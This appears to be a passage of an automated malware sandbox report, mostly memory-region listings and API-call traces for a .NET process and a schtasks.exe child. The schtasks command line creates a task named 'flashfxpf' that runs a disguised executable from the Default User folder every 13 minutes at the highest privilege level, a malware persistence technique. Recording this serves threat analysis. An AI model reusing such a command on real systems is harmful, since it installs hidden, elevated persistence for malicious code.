"c:\\windows\\system32\\version.dll") Region: id = 5779 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5780 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5781 start_va = 0x7feefe70000 end_va = 0x7fef0936fff monitored = 1 entry_point = 0x7feefe763a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 5782 start_va = 0x7fef9f10000 end_va = 0x7fef9f25fff monitored = 0 entry_point = 0x7fef9f1c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 5783 start_va = 0x7fef9e50000 end_va = 0x7fef9f0cfff monitored = 0 entry_point = 0x7fef9ed7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 5819 start_va = 0x140000 end_va = 0x140fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 5820 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 5821 start_va = 0x160000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 5822 start_va = 0x7fe90820000 end_va = 0x7fe9082ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90820000" filename = "" Region: id = 5823 start_va = 0x7fe90830000 end_va = 0x7fe9083ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90830000" filename = "" Region: id = 5824 start_va = 0x7fe90840000 end_va = 0x7fe908cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe90840000" filename = "" Region: id = 5825 start_va = 0x7fe908d0000 end_va = 0x7fe9093ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe908d0000" filename = "" Region: id = 5826 start_va = 0x180000 end_va = 0x180fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 5891 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 5892 start_va = 0x1e60000 end_va = 0x205ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e60000" filename = "" Region: id = 5893 start_va = 0x1e60000 end_va = 0x1f5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e60000" filename = "" Region: id = 5894 start_va = 0x1fe0000 end_va = 0x205ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fe0000" filename = "" Region: id = 5895 start_va = 0x20d0000 end_va = 0x21cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020d0000" filename = "" Region: id = 5896 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 5897 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 5898 start_va = 0x21d0000 end_va = 0x1a1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 5928 start_va = 0x1a1d0000 end_va = 0x1a54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a1d0000" filename = "" Region: id = 5929 start_va = 0x1a550000 end_va = 0x1a650fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a550000" filename = "" Region: id = 5930 start_va = 0x1a7d0000 end_va = 0x1a8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7d0000" filename = "" Region: id = 5931 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 5952 start_va = 0x1a660000 end_va = 0x1a75ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a660000" filename = "" Region: id = 6345 start_va = 0x1a960000 end_va = 0x1aa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a960000" filename = "" Region: id = 6346 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 6394 start_va = 0x1aa60000 end_va = 0x1ad2efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 6395 start_va = 0x7feee870000 end_va = 0x7feefe6cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Thread: id = 236 os_tid = 0xa54 Thread: id = 268 os_tid = 0xda4 Thread: id = 272 os_tid = 0xdb4 Thread: id = 280 os_tid = 0xd6c Process: id = "67" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3f752000" os_pid = "0xa58" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"flashfxpf\" /sc MINUTE /mo 13 /tr \"'C:\\Users\\Default User\\flashfxp.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4882 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4883 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4884 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4885 start_va = 0x140000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 4886 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4887 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4888 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4889 start_va = 0xff450000 end_va = 0xff497fff monitored = 1 entry_point = 0xff47966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 4890 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4891 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4892 start_va = 0x7fffffdc000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 4893 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4894 start_va = 0x1c0000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 4895 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4896 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4897 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4898 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4899 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4900 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4901 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4902 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4903 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4904 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4905 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4906 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4907 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4908 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4909 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4910 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 4911 start_va = 0x320000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 4912 start_va = 0x320000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 4913 start_va = 0x510000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 4914 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4915 start_va = 0x520000 end_va = 0x6a7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000520000" filename = "" Region: id = 4916 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4917 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4918 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4919 start_va = 0x6b0000 end_va = 0x830fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 4920 start_va = 0x840000 end_va = 0x1c3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 4921 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 4928 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4929 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 4930 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4931 start_va = 0x1c40000 end_va = 0x1f0efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4956 start_va = 0x420000 end_va = 0x49cfff monitored = 0 entry_point = 0x42cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4957 start_va = 0x420000 end_va = 0x49cfff monitored = 0 entry_point = 0x42cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4958 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4959 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 4960 start_va = 0x1f10000 end_va = 0x211ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f10000" filename = "" Region: id = 4961 start_va = 0x420000 end_va = 0x4fefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 4962 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4963 start_va = 0x2170000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002170000" filename = "" Region: id = 4964 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 4965 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4966 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 4967 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4968 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 4969 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 4970 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4971 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 225 os_tid = 0xa5c [0164.489] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1bff00 | out: lpSystemTimeAsFileTime=0x1bff00*(dwLowDateTime=0x2e2f73e0, dwHighDateTime=0x1d8a92a)) [0164.489] GetCurrentProcessId () returned 0xa58 [0164.489] GetCurrentThreadId () returned 0xa5c [0164.489] GetTickCount () returned 0x138d35b [0164.489] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x1bff08 | out: lpPerformanceCount=0x1bff08*=2064335231058) returned 1 [0164.490] GetModuleHandleW (lpModuleName=0x0) returned 0xff450000 [0164.490] __set_app_type (_Type=0x1) [0164.490] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff47972c) returned 0x0 [0164.490] __wgetmainargs (in: _Argc=0xff491240, _Argv=0xff491250, _Env=0xff491248, _DoWildCard=0, _StartInfo=0xff49125c | out: _Argc=0xff491240, _Argv=0xff491250, _Env=0xff491248) returned 0 [0164.491] _onexit (_Func=0xff482ab0) returned 0xff482ab0 [0164.491] _onexit (_Func=0xff482ac4) returned 0xff482ac4 [0164.491] _onexit (_Func=0xff482afc) returned 0xff482afc [0164.491] _onexit (_Func=0xff482b58) returned 0xff482b58 [0164.491] _onexit (_Func=0xff482b80) returned 0xff482b80 [0164.492] _onexit (_Func=0xff482ba8) returned 0xff482ba8 [0164.492] _onexit (_Func=0xff482bd0) returned 0xff482bd0 [0164.492] _onexit (_Func=0xff482bf8) returned 0xff482bf8 [0164.492] _onexit (_Func=0xff482c20) returned 0xff482c20 [0164.492] _onexit (_Func=0xff482c48) returned 0xff482c48 [0164.492] _onexit (_Func=0xff482c70) returned 0xff482c70 [0164.493] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0164.493] WinSqmIsOptedIn () returned 0x0 [0164.493] GetProcessHeap () returned 0x220000 [0164.493] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23b990 [0164.493] SetLastError (dwErrCode=0x0) [0164.495] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0164.495] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0164.495] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0164.495] VerifyVersionInfoW (in: lpVersionInformation=0x1bf6c0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x1bf6c0) returned 1 [0164.495] GetProcessHeap () returned 0x220000 [0164.495] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23b9b0 [0164.495] lstrlenW (lpString="") returned 0 [0164.495] GetProcessHeap () returned 0x220000 [0164.495] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x2) returned 0x23b9d0 [0164.495] GetProcessHeap () returned 0x220000 [0164.495] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235930 [0164.495] GetProcessHeap () returned 0x220000 [0164.495] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23b9f0 [0164.495] GetProcessHeap () returned 0x220000 [0164.495] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235960 [0164.495] GetProcessHeap () returned 0x220000 [0164.495] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235990 [0164.495] GetProcessHeap () returned 0x220000 [0164.495] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x2359c0 [0164.495] GetProcessHeap () returned 0x220000 [0164.495] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x2359f0 [0164.495] GetProcessHeap () returned 0x220000 [0164.495] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23ba10 [0164.495] GetProcessHeap () returned 0x220000 [0164.495] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235a20 [0164.495] GetProcessHeap () returned 0x220000 [0164.495] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235a50 [0164.496] GetProcessHeap () returned 0x220000 [0164.496] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235a80 [0164.496] GetProcessHeap () returned 0x220000 [0164.496] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235ab0 [0164.496] GetProcessHeap () returned 0x220000 [0164.496] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23ba30 [0164.496] GetProcessHeap () returned 0x220000 [0164.496] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235ae0 [0164.496] GetProcessHeap () returned 0x220000 [0164.496] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235b10 [0164.496] GetProcessHeap () returned 0x220000 [0164.496] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235b40 [0164.496] GetProcessHeap () returned 0x220000 [0164.496] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235b70 [0164.496] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0164.496] SetLastError (dwErrCode=0x0) [0164.496] GetProcessHeap () returned 0x220000 [0164.496] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235ba0 [0164.496] GetProcessHeap () returned 0x220000 [0164.496] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235bd0 [0164.496] GetProcessHeap () returned 0x220000 [0164.496] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235c00 [0164.496] GetProcessHeap () returned 0x220000 [0164.496] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235c30 [0164.496] GetProcessHeap () returned 0x220000 [0164.496] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235c60 [0164.497] GetProcessHeap () returned 0x220000 [0164.497] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23ba50 [0164.497] _memicmp (_Buf1=0x23ba50, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.497] GetProcessHeap () returned 0x220000 [0164.497] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x208) returned 0x23bbf0 [0164.497] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x23bbf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0164.497] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0164.499] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0164.499] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0164.500] GetProcessHeap () returned 0x220000 [0164.500] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x74e) returned 0x23c1a0 [0164.500] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0164.500] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x23c1a0 | out: lpData=0x23c1a0) returned 1 [0164.500] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0164.500] VerQueryValueW (in: pBlock=0x23c1a0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1bf7a8, puLen=0x1bf810 | out: lplpBuffer=0x1bf7a8*=0x23c53c, puLen=0x1bf810) returned 1 [0164.503] _memicmp (_Buf1=0x23ba50, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.503] _vsnwprintf (in: _Buffer=0x23bbf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1bf788 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0164.503] VerQueryValueW (in: pBlock=0x23c1a0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1bf818, puLen=0x1bf808 | out: lplpBuffer=0x1bf818*=0x23c368, puLen=0x1bf808) returned 1 [0164.503] lstrlenW (lpString="schtasks.exe") returned 12 [0164.503] lstrlenW (lpString="schtasks.exe") returned 12 [0164.504] lstrlenW (lpString=".EXE") returned 4 [0164.504] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0164.505] lstrlenW (lpString="schtasks.exe") returned 12 [0164.505] lstrlenW (lpString=".EXE") returned 4 [0164.505] _memicmp (_Buf1=0x23ba50, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.505] lstrlenW (lpString="schtasks") returned 8 [0164.505] GetProcessHeap () returned 0x220000 [0164.505] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235d50 [0164.505] GetProcessHeap () returned 0x220000 [0164.505] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cab0 [0164.505] GetProcessHeap () returned 0x220000 [0164.505] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cae0 [0164.506] GetProcessHeap () returned 0x220000 [0164.506] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cb10 [0164.506] GetProcessHeap () returned 0x220000 [0164.506] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23ba70 [0164.506] _memicmp (_Buf1=0x23ba70, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.506] GetProcessHeap 